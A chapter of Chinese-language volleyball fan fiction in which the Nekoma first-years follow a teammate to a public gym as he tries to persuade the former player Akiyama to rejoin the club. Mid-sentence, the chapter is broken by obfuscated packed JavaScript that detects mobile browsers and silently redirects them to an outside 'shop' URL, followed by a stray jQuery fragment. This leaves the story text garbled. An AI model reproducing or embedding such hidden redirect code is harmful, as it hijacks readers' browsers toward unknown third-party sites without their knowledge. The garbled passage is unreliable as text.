下午训练结束后,户元站在体育馆门口,向三色教练和风间告别:“那么,我就先离开了”
风间:“路上小心”
望着户元走远的背影,风间看向一旁的竹内,“你不和他一起去?”
“当然不”竹内诧异地看回去:“我和元三又不是连体婴”
看出竹内情绪不高,风间也没多说什么,转而看向体育馆内,
常规训练已经结束,一年级学弟们正一遍补充水分,一边等着迹部九夏结束今日份接球训练。
接着便是‘杀死迹部九夏的扣球’时间音驹,这是排球部目前每日的加训内容。
迹部九夏曾严肃抗议:加训名称明明是“迹部九夏大挑战!”
竹内:1:6,抗议无效。
球网对面依旧摆着两台发球机,随着传送带的摩擦声,最后两颗排球一前一后越过球网袭来,
迹部九夏神色坚毅,眼睛如鹰隼般紧紧盯着排球划过的轨迹,先是大步向左垫起一颗,随后又迅速回撤,抢救起另一颗。
迹部九夏从地上站起,等发球机不再运行,把沾染着汗水的额前发向后一梳,兴奋地跑到球场边一把揽过黑尾三人。
终于!他的接球成功率终于超过了60%!
猝不及防被水呛到的夜久:“迹部九夏!”
“很好”三色教练欣慰地鼓掌,被夜久追着满场馆跑的九夏停下来,站到教练面前。
“这么短的时间能到达到这种程度非常棒,接下来可以增加专项训练了”
“啊?”迹部九夏不情不愿,“那还要训练多久?”
三色教练指向海信行:“等你一传什么时候和海差不多就可以了”
迹部九夏苦着脸:我觉得你就是在为难我
三色教练好笑道:“放心,专项训练我们慢慢来,之后的训练中你不用刻意强化接球了”
迹部九夏激动举起双手:“好耶!”
*
“户元前辈已经走了吗?”
迹部九夏环顾四周,这才发现自己的饲养员少了一人。
“嗯”风间暗自思忖了一会儿,决定把户元的决定告诉大家,“户元去找秋山了”
在和户美的练习赛结束后,户元主动找上三色教练和风间,彼时二人正在制定黄金周训练计划。
户元说出来意,空气一瞬间陷入沉寂,
三色教练叹了口气,过了一会儿他问道:“你真的想好了吗?”
“嗯”户元眼里虽有落寂,但更多的还是坚定,他点点头:“想好了”
“我会把秋山学长找回来,有秋山学长在,音驹的实力肯定可以更上一层楼”
在和户美进行练习赛的时候,迹部九夏被发现接球弱点从而被针对之前,户美针对的一直都是户元。
包括之前音驹的队内赛也是。
不仅仅排球,但凡团体运动,大家必定针对实力弱的那位。
回音驹的一路上,户元想了很多。在排球这项运动上,他的天赋十分有限,与其在正式比赛中拖全队后腿,不如干脆从主力的位置上退下来。
——反正他能成为主力也是因为九夏发起的队内赛,现在就当做是主力体验卡到时间了。
听完风间所说之后,大家不约而同把目光转向竹内,
“看我干嘛?”竹内没好气道,他还在生闷气,谁也不想理。
于是他们交换了一个眼神,
夜久:竹内学长怎么这么生气?
黑尾:所以竹内学长没有和户元学长一起去吗?
风间:户元拒绝了
海:难怪
迹部九夏没注意到队友们的眉眼官司,不过就算注意到他也看不明白,
“秋山……?”迹部九夏嘴里重复着,疑惑问:“那是谁?”
这个姓怎么听着那么耳熟?
算了。
人生在世,想不明白的事情很多,有时候就是要果断放过自己——此乃迹部九夏的人生格言。
夜久倒是想起来,他看向海:“啊,是秋山同学的哥哥吧”
见迹部九夏目光投向这边,夜久解释:“秋山同学是海的同班,因为哥哥的原因,非常希望没有人加入排球部,并付诸了行动,这样两年后排球部就能直接解散掉”
迹部九夏面露惊恐之色。
怎么可以解散排球部?!
海:“如果不是九夏你来踢馆,说不定第二天秋山同学就找上门了”
找上门劝他们退部
不过在排球部主力更替之后,秋山同学就再也没有提过这件事了。
——————
他们走到一座综合体育馆门前,
风间在处理排球部的内部事务,竹内还在和户元怄气,于是在场的人只有音驹的四个一年级。
海信行对比了下地图和风间写下的地址:“就是这里”
眼前的景色异常熟悉,正是上周他和景吾来的体育馆,迹部九夏:“秋山前辈平时都在这里打球啊”
夜久随口问:“你来过这里?”
迹部九夏点头,指着体育馆对面:“那家法餐厅超级好吃!”
“等会儿我们去吃吧,我请客”
“行啊”
黑尾恍然大悟:“这里就是你遇到神秘猫头鹰的地方吧”
迹部九夏:“对”
夜久狠狠吐槽:“神秘猫头鹰什么鬼啊,不要随便给人家取外号啊”
“因为真的很形象啊,你遇见就知道了”
“真的不是因为你根本没问人家名字吗?”
几人边闲聊边走进体育馆,虽说不是周末,但这种大型体育馆从来不缺人。
迹部九夏一眼就瞧见了正在打排球的户元。
他看着球网两边的人,“所以,哪个是秋山前辈?”
“是那个吧”夜久指向和户元同一边的壮壮的那位,“据说秋山前辈是和排球部原先的学长还有他们当时三年级的学长打了一架后离开排球部的”
这魁梧壮硕的身材一看就很符合。
迹部九夏:“但那是自由人”高高壮壮的球员重心下沉,超级稳健接起一球。
“如果秋山前辈改打自由人,户元前辈也不会来找他了吧”
“那个呢?”海信行指向球网对面蘑菇头主攻手,“球技看着很厉害”
“是风间前辈同款发型”迹部九夏倍感亲切。
黑尾:“不不不,秋山前辈的性格绝对不会留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647107|206142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这种发型吧”
迹部九夏:“可我们又不知道秋山前辈的性格?”
“不管怎么说,会和前辈打架的人肯定不可能留蘑菇头吧”
“你这是偏见”
“总之,其实是这位吧”黑尾指向正围观比赛的寸板头。
“阿黑等会儿你要不要去配副眼镜?”迹部九夏并不委婉说道。
那个寸板头,看起来已经三十岁左右了,怎么可能是高中生!
“你们怎么来了?”余光注意到音驹一年级组的户元和队友说了声,换上围观比赛的寸板头,走到他们面前。
迹部九夏直言不讳:“风间前辈说前辈要来体育馆找秋山学长,我们来看看”
还有一件事,“排球不是六个人的运动吗?前辈为什么要离开?”
“不要说得我马上要退部了一样啊”户元吐槽,旋即正色道:“一个人就算再怎么厉害,也没法补上另一人的空缺。”
“正因为排球是六个人的运动,我才不要成为音驹的那个短板”
他想为音驹带去胜利,而不是他给音驹带去遗憾。
“怎么来了这么多人?” 迹部九夏似懂非懂,刚想说前辈不要当谜语人了的时候,一道声音从身后传来,
他下意识回过头去,浅蓝发的青年拿着手机,神色不悦:“音驹体育馆塌方了?”
迹部九夏下意识回答:“挺好的啊”
户元热情招手:“秋山学长,考虑的怎么样?”
“我不回去”秋山敦果断拒绝。
“很感谢你的好意,但我不打算再回排球部了”
“高一离开排球部后,我虽然也在打一些比赛,但都是和业余球队,也没多么严格要求自己,恐怕是达不到你们的期待”
“不,明明还是很厉害”户元说,“我刚刚看了秋山学长的比赛……”
听到户元叫出‘秋山学长’的一瞬间,伤感被抛在脑后,迹部九夏不可思议的大喊:“骗人的吧!”
和几人的猜测不同,秋山敦既不算壮硕,也不是蘑菇头或者寸板头,相反他留着长发,精致的面庞看起来十分……温静娴雅。
“抱歉抱歉,打扰到大家了”整座排球场的目光被吸引过来,黑尾熟练的捂嘴,联合夜久、海把人拖到一边。
和迹部九夏相比,他们三个接受很快。
“真不知道你在瞎激动什么,明明自己的脸和性格也对不上号。”
“温静娴雅不能用在男生身上吧?”
迹部九夏:“谁说不能的”
“是你啊”秋山望过来。
“学长认识我?”迹部九夏问。
“上次你和枭谷那小鬼对轰的时候,我在一旁”
“神秘猫头鹰!”迹部九夏很惊喜,“原来他是枭谷的啊”
“不过这名字怎么这么熟悉?”
户元:“是枭谷联盟!黄金周还有枭谷联盟的合宿呢,你忘得也太快了吧”
户元转头就问秋山:“学长真的不来吗?”
“学长一年级开学没多久就退出的排球部,枭谷联盟的合宿,还有IH和春高都没兴趣吗?”
“明年的春高可是提前到了一月份”
秋山手动了动。